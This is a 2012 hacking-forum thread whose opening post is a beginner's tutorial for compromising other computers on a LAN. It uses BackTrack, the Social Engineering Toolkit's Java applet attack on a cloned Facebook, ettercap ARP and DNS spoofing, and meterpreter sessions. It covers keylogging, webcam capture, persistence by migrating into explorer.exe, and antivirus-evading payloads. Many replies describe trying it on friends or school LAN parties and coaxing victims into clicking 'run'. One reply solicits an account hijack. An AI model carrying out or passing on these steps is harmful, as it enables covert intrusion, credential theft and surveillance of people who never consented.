

Forum:[Hack Forums](#)

Thread: [\[TUT\] BACKTRACK 5r2, THE ULTIMATE HACKING TOOL. TUT FOR NOOBS, STEP BY STEP \[TUT\]](#)

Turtle™ - September 19, 2012, 12:09 am

WHAT IS BACKTRACK?

For those of you who don't know, backtrack is a huge compilation of hacking tools that you can use for various things including

- Sniffing password
- Hacking your entire LAN
- Infecting someone on LAN by redirecting there browser searches to your maching
- Taking control of computers on your LAN
- AND SO MUCH MORE!

In this tutorial, I am going to explain

- How to install backtrack
- Where/how to run it
- Show you some of my personal favourite tools and how to use them effectively!

First of all you must decide if you want to run backtrack on a USB flash drive, a Virtual Machine, or your own computer. For those of you who don't know what these are:

A Virtual Machine is basically a program that takes a part of your computer and separates it from the rest of your computer so that you can run/test viruses, RATS or in this case, Backtrack from the separated part so that the virus doesn't take over your whole computer or in this case, so you can keep your nice graphical OS (Operating system).

A USB flash drive is a seperate, portable hard drive that you plug into your computer. In this case, the USB will act as a Virtual Machine so that you can run backtrack separated from your OS.

Lastly (and this I highly recommend you don't do) is to run Backtrack on your own computer.

HOW TO INSTALL BACKTRACK ON A VIRTUAL MACHINE (VM)

I recommend this method of running backtrack because it is the most convenient and you don't have to go out and buy a USB stick. Also, if you use a USB stick and someone has to borrow it, the files can look a bit sketchy so it's best to do it this way in my opinion.

STEP 1

Download backtrack from [here](#) and save it to your desktop.

(Note, this file is HUGE, so be patient. It can take a few hours to download it so go do something else while you wait)

Download VirtualBox (a free virtual machine) from [here](#)

(Note, this file is also quite big but not as big as backtrack)

STEP 2

Run VirtualBox and install it. I'm not going to walk you through that because the install of virtualbox

is pretty self-explanatory

STEP 3

Start virtualbox, go to the top left corner and click the icon that says: NEW and click next.

STEP 4

Type in a name. I use the name - Backtrack 5r2 (or 5r3 if you downloaded that one). Select the operating system - Linux Ubuntu.

IMPORTANT - If you downloaded the 64 bit version of Backtrack, you must use Linux Ubuntu 64 bit. If you downloaded the 32 bit version, leave it as Linux Ubuntu.

Click Next

STEP 5

Select the amount of RAM you want your VM to use. I would use as much as you are willing to give to the VM because many of the hacking programs in backtrack use lots of RAM or else they go really slow.

Click next

Click: Create a new hard disk and click next

Leave it as the top one (VDI)

Click next

STEP 6

Select dynamically allocated and click next

Select how much storage you want on this VM. I use 16 GB just to be safe but I don't think that you need that much. 12 GB is the minimum if you want a safe, stable install

Click create until you are out of both windows

STEP 7

A "machine" should appear on the left hand side of the VirtualBox Window with your title. Click it, go to the top menu and click start.

You should get a black window and a window that says, welcome to the First Run Wizard.

Click Next

Now it should say, select Installation Media. Hit the scroll bar and the name of the backtrack file you downloaded should be there. Select that and click next then click create.

Now a black window with white text should appear. Wait until it brings you to the red window titled, Backtrack live cd

STEP 8

Choose the first one (text version). It should bring you to another red window that says backtrack at the top. You should see a black window that is loading stuff. When it is done, type in startx.

This will bring you to the GUI of backtrack. I recommend using startx every time you start backtrack because the GUI is much more organized, nicer to look at and simpler to understand.

Anyways, there should be a little icon that says install backtrack. Double Click on that.

From there, you can basically click next until you're out of there unless you see something that you don't like. After that, you will see a window that says copying files. This will take a long time so be patient.

IMPORTANT - DON'T PANIC IF IT GETS STUCK AT A CERTAIN PERCENT. IT DOES THAT TO EVERYONE! JUST BE PATIENT AND WAIT!

After that, turn off the machine and then turn it on again.

Go into settings (right beside the start button) and click network (on the left side). Select - Attached to : Bridged Adapter. Select the router that is the name of your router.

This time after it loads, it'll flash to the backtrack wallpaper for a while then back to the loading black window. This time (and from now on) you will have to enter a username and password to get into backtrack.

Username = root

Password = toor

When you type in the password, no text will show up even if you are typing. This is normal.

After that is done, once again use startx to go to the GUI (graphical user interface...basically a nicer looking version of the program).

CONGRATULATIONS, YOU HAVE SUCCESSFULLY INSTALLED BACKTRACK!

If you would like to learn how to use some of my personal favourite tools of this magnificent program, read on.

My favourite program by far is SET (which stands for social engineering toolkit). It's super easy to use, and gives magnificent results.

There are multiple methods of using SET. The one I will explain to you is my favourite. Basically it will copy a website and make it so that when anyone on your network visits this website, they will go to your website instead with the virus on it! If you use this method, it's best to use sites like facebook or other ones that people frequently use.

OK on with the tutorial.

In this method, we will be using:

- A terminal
- The Social Engineering Toolkit (SET)

First start SET by going to the top right of the backtrack window onto the "Applications button", from there click "Exploitation Tools", then "Social Engineering" and then click "set". If there are two, click the top one.

Then we will type in 2 (Website Attack Vectors)

Please note that like I said SET is probably the easiest to use tool on backtrack. From this menu, you can experiment. I will explain some of the options here.

-Java Applet Attack - Clones a site then when someone visits the site, it prompts them to run a java file. Then it will infect the victim's computer and you will be able to control it

-Metasploit Browser Exploit - This will use metasploit (my second favourite tool on backtrack) to create a server. When the victim's computer connects to the server (by typing in your ip), they will be infected and you will be able to take control of their computer. This one is only ok because you have to somehow convince the victim to type in your ip in the address bar. Ex. 192.168.1.124:8080

-Credential Harvester Attack - This is probably the best one to use if you just want to get their facebook/gmail/whatever passwords. Basically it'll clone a site login page. When people visit it (by typing in your ip address) they will see the login page and probably try to log in. Backtrack will copy what they typed in (their username and password) and send it back to you.

I will not explain the other ones as they are more complicated and not suited for a tut that was

made for newbs.

Then we will wait for it to load. Once it loads it will bring up a menu with a bunch of options. We will type in "1" without the brackets

Then we will type in "1" (The Java Applet Attack Method).
It will then display some options. We will use number 2 (site cloner)

Type in the required information that it prompts you to enter.

When it asks which site you would like to clone, type in a site that you think your victims use a lot.

Ex. www.facebook.com

When it asks to enter in your ip for the reverse connection, open up a terminal (on the main page of backtrack at the top, has a little picture of a black window) and type in Code ifconfig Look for your internet address. It should say something like 192.168.1.xxx. If it says something random like 10.0.2.15, it means that you are not connected to the internet properly and you should go back into the settings and try connecting to a different router.

When it asks if you use nat/portforwarding enter in no or n.

When it asks what port to run it on type in a random port. I use port 4444.

When it asks what payload to generate, use number 14 because it is AV safe (Anti-virus undetectable)

When it asks what type of meterpreter session to use (there will be 3 options) type in number 1

When all that is done, press enter and it will start doing it's thing.

Meanwhile, we will open up a terminal and type in:

Code gedit /usr/local/share/ettercap/etter.dns

This will open up a file with a bunch of weird text on it.

Scroll down to the part near the top where it says "Microsoft Sucks"

You will see a part of it that says something like this

```
"microsoft.com A 198.182.196.56
*.microsoft.com A 198.182.196.56
www.microsoft.com PTR 198.182.196.56
```

we need to change the microsoft.com's to the website that the victim will be visiting (Ex. Facebook) and we need to change the ip addresses to the ip address that we got when we entered ifconfig.

Here is an example

```
"facebook.com A 192.168.1.124
*.facebook.com A 192.168.1.124
www.facebook.com PTR 192.168.1.124
```

This step is ESSENTIAL for any of this to work!

We will save the file by clicking the button at the top that says save, then we will close the window. We will then open up a new terminal and enter in

Code ettercap -Tqi eth0 -P dns_spoof -M ARP // //Be sure to include all of the capitals and spaces. If this doesn't work, then your wireless interface is different than mine.

Try this ONLY if the one above didn't work

Code ettercap -Tqi wlan0 -P dns_spoof -M ARP // //
Press enter and wait until it starts generating a list of ip's.

Go back to our SET terminal and see if it is done. It is done when it starts making a list of gibberish and says starting the payload handler.

Minimize all of this then go to www.facebook.com on your normal computer (or whatever site you used). (We are doing this to test if it works, this will work on any computer in your network) You should be prompted to run a java plugin. Run it this time and click run on the popup window. Then return to the SET terminal.

It should have started spouting a bunch of crap. Wait until it says, finished migrating or something along those lines. This means that you have successfully infected the victim's computer.

To interact with the victim's computer first type in
Code sessions -l(That is an "L" by the way) This will list the sessions that we have on the victim's computer. If there are more than one, that's good. If there is only one, that is also fine. The more the better!

Type in
Code sessions -i 1This will interact with the first session. You can substitute the 1 with another number if you want to interact with another sessions

BOOM! We now have control over the victim's computer
Google meterpreter commands to see what you can do once at this stage.

To ensure that the victim stays infected, we are going to migrate our server to the explorer.exe task on the victim's computer. This way, they can only get us out if they restart their computer or something.

To do this first type in
Code psThis will display all of the processes on the victim's computer. You need to browse through all of that until you locate explorer.exe Look for the number beside it (it should be in the thousands) and remember it.

Go back down and type in
Code migrate numberthatyourememberedEx. migrate 3968

Wait until it says migration completed successfully
You may now use commands for the meterpreter

3 useful commands are
keyscan_start (starts a keylogger)
keyscan_dump (shows you what they have typed)
webcam_snap (takes a picture with the webcam and saves it to the computer)
getuid (Shows you the name of the computer and the name of the user)

THIS IS JUST THE TIP OF THE ICEBERG! IF YOU ENJOYED THIS TUT OR FOUND IT USEFUL, PLEASE COMMENT.

ALSO DON'T HESITATE TO LET ME KNOW IF SOMETHING ISN'T WORKING FOR YOU OR ONE OF MY CODES HAS A TYPO OR SOMETHING

Thanks

Stev - September 19, 2012, 12:13 am

A very nice tutorial for a beginner like you.
I hope you didn't copy & paste it.

Pops - September 19, 2012, 12:14 am

(Sep 19, 2012 12:13 AM)Kohsti Wrote: [\[CITE\]](#) A very nice tutorial for a beginner like you.
I hope you didn't copy & paste it.
I reckon he did,
But I'm not sure.
Hopefully he did.

Terry A. Davis - September 19, 2012, 12:17 am

Great TUT Not C&P by me can't find a copy any where keep up the HQ bro

Turtle™ - September 19, 2012, 8:14 am

(Sep 19, 2012 12:13 AM)Kohsti Wrote: [\[CITE\]](#) A very nice tutorial for a beginner like you.
I hope you didn't copy & paste it.
I take my time to write a long detailed tut and you guys think I copied and pasted it? Is it that hard to except that some people take the time to write a legit tut?

t3335e - September 19, 2012, 8:17 am

Very nice tut for beginners. I have used BT for the last 3 years. If there is enough interest here i may write up a few tutorials.

DoubleSpace - November 8, 2012, 5:41 pm

this is perfect and well needed, Thanks very much.

Nov - November 8, 2012, 5:42 pm

(Sep 19, 2012 08:14 AM)JARMANDER123 Wrote: [\[CITE\]](#) I take my time to write a long detailed tut and you guys think I copied and pasted it? Is it that hard to except that some people take the time to write a legit tut?

Yes, it is pretty hard to expect that. 90% of the tuts posted are not original.

Good work bro.

????? - November 9, 2012, 7:33 am

Nice tut mate or else take a look
BackTrack-5-Wireless-Penetration-Testing-Beginners-Guide by Vivek Ramachandran

ArrogantRedEyes - November 22, 2012, 6:55 am

A really great tutorial give this one more rap, !

Zinryu - November 22, 2012, 4:01 pm

Very nice tut, thanks for the great post.

sandman1234 - November 23, 2012, 2:34 pm

this is perfect and well needed, Thanks very much.

Absorbingmoon - November 23, 2012, 2:39 pm

Really good tutorial thanks and I still need someone to hack someones xbox live gamertag plus there gamertag probaly has a lot of money on it so pm me for more info

Faye Reagan - November 24, 2012, 3:14 pm

A very nice tutorial man good job!

-Faye Reagan

Gentlema?n - November 24, 2012, 4:20 pm

Thanks for taking ur time writing this out!

Turtle™ - December 10, 2012, 10:34 pm

Bumping this thread because I actually have not seen this method posted anywhere and believe that it's a great method

moonsee110 - December 10, 2012, 10:43 pm

great tutorials for noobies ! keep making good tutorials Man.

ryck - December 10, 2012, 10:57 pm

This is great tutorial, it will help beginners.:) Is it c&p? or did you write that all?

Turtle™ - December 10, 2012, 11:01 pm

(Dec 10, 2012 11:57 PM)ryck Wrote: [\[CITE\]](#) This is great tutorial, it will help beginners.:) Is it c&p? or did you write that all?I swear, I wrote it all! You can look all over HF and you won't find a single TUT like mine (unless they reposted it).

ace19922 - December 11, 2012, 10:25 pm

imma try try this one.. havent use my BT for a while..

Great post btw.. :D

Cyb3rGhOst - December 11, 2012, 10:56 pm

This is a great tutorial. I watch youtube all the time and it never really tells how to properly do this. Now I can... I tried and it worked! Thanks!?

Turtle™ - December 12, 2012, 8:23 am

Thanks, I'm glad that it worked! I will try to make other tutorials if this one help a lot of people

pashabiceps - December 12, 2012, 8:48 am

BackTrack isn't an hacking tool nor a huge compilation of hacking tools.

BackTrack is an Operating System, which is meant for penetration testers to test vulnerabilities from their companies, websites, etc.

thehobit - December 12, 2012, 9:19 am

what if i use vmware for this tutorial. Will everything go fine?

Cylon58 - December 12, 2012, 10:10 am

Thanks for the time spent making this HQ Tutorial! Your effort is appreciated. ?

Ajat123 - December 12, 2012, 2:11 pm

Hey, sorry but im kinda new to this and i was wondering how to run backtrack on a USB, i would really appreciate it if you let me know, thanks :)

Meh_ - December 12, 2012, 3:22 pm

question what type of host do we put for linux? and does it matter which one

Cyb3rGhOst - December 12, 2012, 3:45 pm

(Nov 23, 2012 03:34 PM)sandman1234 Wrote: [\[CITE\]](#) this is perfect and well needed, Thanks very much.

If you have yahoo messenger, PM me. But really, it's beneficial to read the tut and watch some videos. You need to understand hat your doing, not just the fact.... That your doing it.

(Dec 12, 2012 04:22 PM)Meh_ Wrote: [\[CITE\]](#) question what type of host do we put for linux? and does it matter which one

Screenshots would be helpful so he can see where your at. Or explain in further detail. The host should be you though...

Meh_ - December 12, 2012, 3:54 pm

(Dec 12, 2012 04:45 PM)???Š?CT?E??? Wrote: [\[CITE\]](#) Screenshots would be helpful so he can see where your at. Or explain in further detail. The host should be you though...

hope that helps out

Cyb3rGhOst - December 12, 2012, 4:00 pm

Ubuntu 12.04 should work fine. That's a message from virtual box correct?

Ajat123 - December 12, 2012, 5:13 pm

WOW this is really a good tutorial, sorry for being a bit of a noob but how would i run backtrack on a USB flash drive?

Turtle™ - December 12, 2012, 5:18 pm

(Dec 12, 2012 06:13 PM)Ajat123 Wrote: [\[CITE\]](#) WOW this is really a good tutorial, sorry for being a bit of a noob but how would i run backtrack on a USB flash drive?

Download unetbootin and select the option to turn the file into one that can be run from a USB. Plug your USB into the computer, when it's starting, go to the boot options (on my computer it's F12 but it may be different for you), select boot from USB, select backtrack!

If it's on your own computer, it would be a lot simpler to just run it from a VM.

Cyb3rGhOst - December 12, 2012, 6:58 pm

(Dec 12, 2012 06:13 PM)Ajat123 Wrote: [\[CITE\]](#) WOW this is really a good tutorial, sorry for being a bit of a noob but how would i run backtrack on a USB flash drive?

Dude I just told you to read and research. You came back and said the same thing. You'll never learn anything if you dot try to answer some minor questions like these on your own.

Turtle™ - December 12, 2012, 9:50 pm

Haha, I agree with you but I thought I would just give him the answer this time XD

Cyb3rGhOst - December 12, 2012, 9:55 pm

It's kills me! He wouldn't take the time to do his research, and it's easily found. I mean come on now. He can't even get backtrack to boot? Lette guess what's next... Someone come on my PC and set up my RAT for me?!!!! It takes work to do this man and I pride myself in it. I started at the very bottom. Started going to college for INSE, you think they held my hand while learning my first program Lang? No!! Just erked me is all.

thehobit - December 12, 2012, 10:23 pm

one question does this require an internal wifi card. i have a wifi router. i dont see my router' name ion bridged network list . plzz help

Clark Kent™ - December 12, 2012, 10:24 pm

thanks so much bro looks like it took you some time.

thehobit - December 13, 2012, 5:06 am

ok i managed to fix the network thing but there is no option 14 under what payload to generate?? plz help is it because i am running backtrack r1

Turtle™ - December 13, 2012, 8:08 am

Thanks for all of you taking the time to post! I have pm'd you thehobit and will try to help you out!

Givenchy - December 13, 2012, 8:10 am

Seems a good tutorial post this to in the Hacking Tutorials to my friend :3

SuaveSalmon - December 13, 2012, 9:17 am

Yeah man, as said above a lot of users her copy paste stuff, but I believe this is original.

Anyway thank you thank you thank you thank you! I have been looking for a very noob introduction to it. I always feel I need to learn every bit of it before I try something out.

Thank you! I am gonna try this when not in mobile! ?

Wcorrdell - December 13, 2012, 10:35 am

Thank You for this post mann.. greatly appreciated

connorbp - December 13, 2012, 2:25 pm

when i try and do sessions -l i get the unknown command error

warren84 - December 13, 2012, 2:57 pm

this is perfect and well needed, Thanks very much.

Turtle™ - December 13, 2012, 5:22 pm

OK EVERYONE, READ THIS!!!

I created this tut a while ago so the payload that I specified may not be FUD anymore (but it was at the time). Read the description of the payload on the right side of the selection menu. As long as you use one that opens a meterpreter session, you are fine and can follow the rest of the tutorial! Experiment, practice infecting yourself with different payloads until you find one that you like!

Good luck everyone!

thehobit - December 14, 2012, 12:12 am

OK now I am stuck. It says activating dns_spoof plugin... And nothing happens no IP listed. And if I try to open Facebook it says may have permanently moved to a new adress . no popup for installing java plugin.plzx help me

no i have done everthing properlywhen i use ifconfig i get to ip's inet addr:192.168.1.x and bcast addr:192.168.1.xxx. So when it tells me what ip to use for reverse connection i put in 192.168.1.xxx. is this correct. i even tried putting 192.168.1.x but no facebook wont load and it is stuck on activating dns_spoof. plzz help

Turtle™ - December 14, 2012, 8:24 am

Perhaps when you entered the interface in the ettercap command (eth0 or wlan0) you entered in the wrong one?

thehobit - December 14, 2012, 8:25 am

no i did it correct and one more thing my inet adress is 192.168.1.x when it shld be something 192.168.1.xxx y is this so

ok i got it the site is now getting loaded but there are no active sessions. wht does this mean

Turtle™ - December 14, 2012, 3:48 pm

Did you click the java run this time to download the payload?

Karaexia - December 14, 2012, 4:13 pm

Great tutorial! This will definitely help me!

TechApp - December 14, 2012, 4:16 pm

Well BK is not a hacking tool... It is an OS that has hacking tools pre-installed into it. Nothing more then that.

Turtle™ - December 14, 2012, 5:54 pm

(Dec 14, 2012 05:16 PM)TechApp Wrote: [\[CITE\]](#) Well BK is not a hacking tool... It is an OS that has hacking tools pre-installed into it. Nothing more then that.

Umm thanks for that. It's not a hacking tool, it's a whole bunch of hacking tools...appreciate the comment ???

Pops - December 14, 2012, 6:17 pm

BT5 aint even that good brah. All the tools in it are available publicly for Windows and for iOS. Many of the functions also only work on LAN.

Faded™ - December 14, 2012, 7:37 pm

hey jarmander ok so i got to the whole testing it on myself part but when i watch the SET terminal it just keeps repeating the same error over and over again code 404, message file not found im not sure what to do to resolve this but i was wondering if you could maybe direct me in the right path. thanks again for the amazing tutorial!

Cyb3rGh0st - December 14, 2012, 8:09 pm

(Dec 13, 2012 06:06 AM)thehobit Wrote: [\[CITE\]](#) ok i managed to fix the network thing but there is no option 14 under what payload to generate?? plz help is it because i am running backtrack r1

Seriously man, just upgrade to r3... Problem solved?H?

thehobit - December 14, 2012, 10:21 pm

ya i did run java plugin ths time. Now i get a session but it is wit myself(with my own computer) maybe it is because my ip on ipconfig is 192.168.1.2 but on ifconfig it shows 192.168.1.3. So when i type the command sessions it says 192.168.1.3 -> 192.168.1.2 which is no other than me. No more sessions can be seen except this one plz help sir

Turtle™ - December 14, 2012, 10:25 pm

well of course your virtual machine will have a different ip than you! When you are entering the ip information while setting up the attack, you enter in your ifconfig information NOT ipconfig. This way, anyone who opens the java applet will connect to your ifconfig (your virtual machine). This will only work on a LAN fyi, good if you go to friend's house or something and wanna mess with them.

Faded™ - December 14, 2012, 10:32 pm

jarmander could you help me with the error 404 when i try to run the java app once i go to facebook?

thehobit - December 14, 2012, 10:41 pm

i have entered the ip from ifconfig so why am i not getting sessiosn does tht mean no one in my lan

is connected to facebook??

Turtle™ - December 15, 2012, 1:30 am

Probably because no one has visited your fake site yet. To get infected, they must visit the fake site and click "run this time" which most people would if they saw it (especially if it's from a trusted site like facebook). If they didn't, and just tried to log into their account, they would get an error and would assume that they have to run the java applet for facebook to work.

Sephyr - December 15, 2012, 3:50 am

really nice tutorial thanks for sharing!!

thehobit - December 15, 2012, 5:13 am

so how much time shld i wait for a session?? will anyone on my lan who goes to www.facebook.com see the run this time message??

Lord Murakami - December 15, 2012, 5:39 am

is this only works if the target computer is in the same LAN connection ?

thehobit - December 15, 2012, 7:55 am

@Lord Murakami yes only on lan connection

Turtle™ - December 15, 2012, 1:29 pm

(Dec 15, 2012 06:13 AM)thehobit Wrote: [\[CITE\]](#) so how much time shld i wait for a session?? will anyone on my lan who goes to www.facebook.com see the run this time message??

You will have to wait until someone visits the facebook page and clicks the "run this time" when they do , it will start showing a bunch of random text about starting a session. If you're impatient, you can just say to whoever on your LAN something like: Hey did you see that awesome thing on facebook? When they log in to see it, they will see the run this time. Most people will click it but if they don't and just try to log in, it will give them an error and they will go back and click the "run this time" because they will think that they need to click that for facebook to work.

Hope this helped ?

jhonsouth - December 16, 2012, 11:02 am

That was a good tut, i watched parts on youtube trying to explain this , this was a lot more step by step.

thehobit - December 17, 2012, 12:48 am

thnx for all your help and this tutorial but since i dont have many people on my lan i used metasploit and hacked them

hacking24bd - December 24, 2012, 4:40 am

Really Good Brooo.. Keep it Up..
35 characters

lolsgetsome - December 24, 2012, 11:18 am

Decent TUT should add links to other basic tuts such as WEP cracking and MITM

masterspy - December 24, 2012, 11:22 am

You Realize that backtrack R3 is already out right ?....

jjake903 - January 29, 2013, 11:50 am

Great Tut! This helped me a lot thank you!

Egypt_Hack3r - January 29, 2013, 1:34 pm

Very goood TUT ,i wish i was ub3r to reputation u ,Keep going bro !

sanderb11 - January 29, 2013, 1:51 pm

Very nice tutorial! I'm going to study it a bit and do some little experiments with it in the weekend I think!

EDIT: I just have one little feedback: Maybe some screenshots are nice? I know the steps aren't hard, but it's just looks better!:D

NarbPie - January 29, 2013, 2:05 pm

Going to try this when my school has a LAN party next time :) Thanx for the tut

Black Shadow - March 22, 2013, 6:10 pm

Not read through this yet but looks highly interesting I will bookmark for later, thanks for the effort to do this.

Funbox - March 22, 2013, 6:49 pm

(Sep 19, 2012 08:14 AM)Turtle™ Wrote: [\[CITE\]](#) I take my time to write a long detailed tut and you guys think I copied and pasted it? Is it that hard to except that some people take the time to write a legit tut?

I like your tutorial defiantly not copy and pasted dont listen to those guys they're just sore losers cause they cant make a awesome tut like you

millsy102 - March 24, 2013, 7:29 pm

Love the vouch !! worked amazingly. love the tut

Turtle™ - March 24, 2013, 7:36 pm

LOL, the tutorial I made a year ago got grave dug!

millsy102 - March 24, 2013, 7:44 pm

just starting to vouch the stuff i learned lol.

xWICKEDx - March 24, 2013, 8:16 pm

Im glad that i had VMware saved on a 500gb USB hard drive...Thank you for sharing...i was always interested in this. I dont need a vpn for this, do i?

Turtle™ - March 24, 2013, 8:27 pm

No, it works only on your LAN so it wouldn't make a difference if you were using one or not.

PerArduaSurgam - March 24, 2013, 10:10 pm

Hey thanks for the starter tutorial on SET I have not messed with it alot but your tutorial made it sound pretty easy. I am going to give it a try thanks!

xWICKEDx - March 25, 2013, 6:27 pm

i was going to download backtrack, and there is multiple kinds...should i just dl Backtrack 5r2...and should i save it as an iso

jerulim - March 25, 2013, 7:13 pm

thanks for sharing.its a great tutorial

SimplyPC - March 25, 2013, 7:31 pm

very nice for beginners! great compilation of haxx :D

shagwell - June 24, 2013, 3:31 pm

gr8 post, this helped me out alot. Using this because i have a shit internet at times.

DLeh - January 5, 2014, 6:26 am

great tut, helped me a lot, especially concereng your other bt5 tuts.

Zink - January 5, 2014, 7:49 am

Nice tutorial, this will be very helpful for people who are just learning.

baipencho - June 27, 2014, 3:03 pm

Hi guys! First - excuse me for the bad english....

I try the things in the TUT, but i use Kali Linux and things there are alittle different but its worked. The question is - i set up ettercap (its a grafical interface in Kali Linux) and use SET with The Java Applet Attack Method...just like in this TUT. I use my computer for a victim and when i try to open the target site its says that i need to run java. I saw two problems - first my wirless network start to saying me that i have no internet access..... and second that when i stopped ettercap and SET when i try to open the target site its continue to ask me for java.... even when disconnect and reconnect to the router. I delete the internet temporary files and this was fixed but is this normal and have any ideas how to deal with this because if the victim continue to see this fake site and java window he will restart his computer or do anything to get rid of this... and the infection will be lost I hope that , you guys will understand me. One more time - sorry about the very bad english!